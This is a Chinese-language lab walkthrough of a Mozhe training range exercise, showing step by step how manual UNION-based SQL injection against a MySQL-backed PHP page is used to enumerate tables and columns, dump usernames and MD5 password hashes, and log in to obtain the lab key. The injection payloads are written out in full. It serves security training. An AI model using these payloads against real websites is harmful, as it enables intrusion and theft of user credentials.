SQL手工注入漏洞测试(MySQL数据库)

一、实验平台

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

二、实验目标

获取到网站的KEY,并提交完成靶场。

SQL手工注入漏洞测试(MySQL数据库)_第1张图片

三、实验步骤

①、启动靶机,进行访问查找可能存在注入的页面

SQL手工注入漏洞测试(MySQL数据库)_第2张图片SQL手工注入漏洞测试(MySQL数据库)_第3张图片

②、通过测试判断注入点的位置(id=)

(1)、注入点的判断方式      and 1=1 页面正常        and 1=2 页面错误

(2)、可能存在注入,随意填写(说明id =1 后边有注入点)(拼写的语句是为了测试你写的语句有没有带入到数据库执行,有影响说明带入数据库查询,所以 说明有注入点。)

SQL手工注入漏洞测试(MySQL数据库)_第4张图片

SQL手工注入漏洞测试(MySQL数据库)_第5张图片

③、猜解列名数量(字段数)order by x (错误与正常的正常值)

通过测试4没错,5错误,说明列名数量为4

http://124.70.64.48:41613/new_list.php?id=-1 union select 1,2,3,4

SQL手工注入漏洞测试(MySQL数据库)_第6张图片

④、信息收集获取网站的数据库版本、数据库名字等

数据库版本 version()     5.7.22-0ubuntu0.16.04.1(5.0以上高版本,)

数据库名字database()    mozhe_Discuz_StormGroup

数据库用户user()    root@localhost

操作系统@@version_compile_os      Linux

SQL手工注入漏洞测试(MySQL数据库)_第7张图片

SQL手工注入漏洞测试(MySQL数据库)_第8张图片

⑤、查询指定数据库名mozhe_Discuz_StormGroup下边第一个表名信息

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

SQL手工注入漏洞测试(MySQL数据库)_第9张图片

⑥、查询指定表名下的列名信息(查询有哪些列名)

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

SQL手工注入漏洞测试(MySQL数据库)_第10张图片

⑦、查询指定列名下数据:

union select 1,name,password,4 from StormGroup_member

SQL手工注入漏洞测试(MySQL数据库)_第11张图片

这里我们得到一个用户名,还有一串数字,我们根据靶场提示,可知利用md5解密然后我们登录发现并不对,后来经过查找才知道上边的语句只显示第一行数据。

⑧、猜解多个数据可以采用limit x,1变动猜解(列名下的数据有多行时候可以变动猜解)

union select 1,name,password,4 from StormGroup_member  limit 0,1

SQL手工注入漏洞测试(MySQL数据库)_第12张图片

union select 1,name,password,4 from StormGroup_member  limit 1,1

SQL手工注入漏洞测试(MySQL数据库)_第13张图片

这里我们发现一个新的密码,然后解密试着登录一下 

⑨、果然利用第二种方法查找的密码是正确的,接下来我们将靶场拿下拿到我们所需要提交的KEY

SQL手工注入漏洞测试(MySQL数据库)_第14张图片

你可能感兴趣的:(WEB漏洞—SQL注入,数据库,sql,安全,linux,mysql,web安全)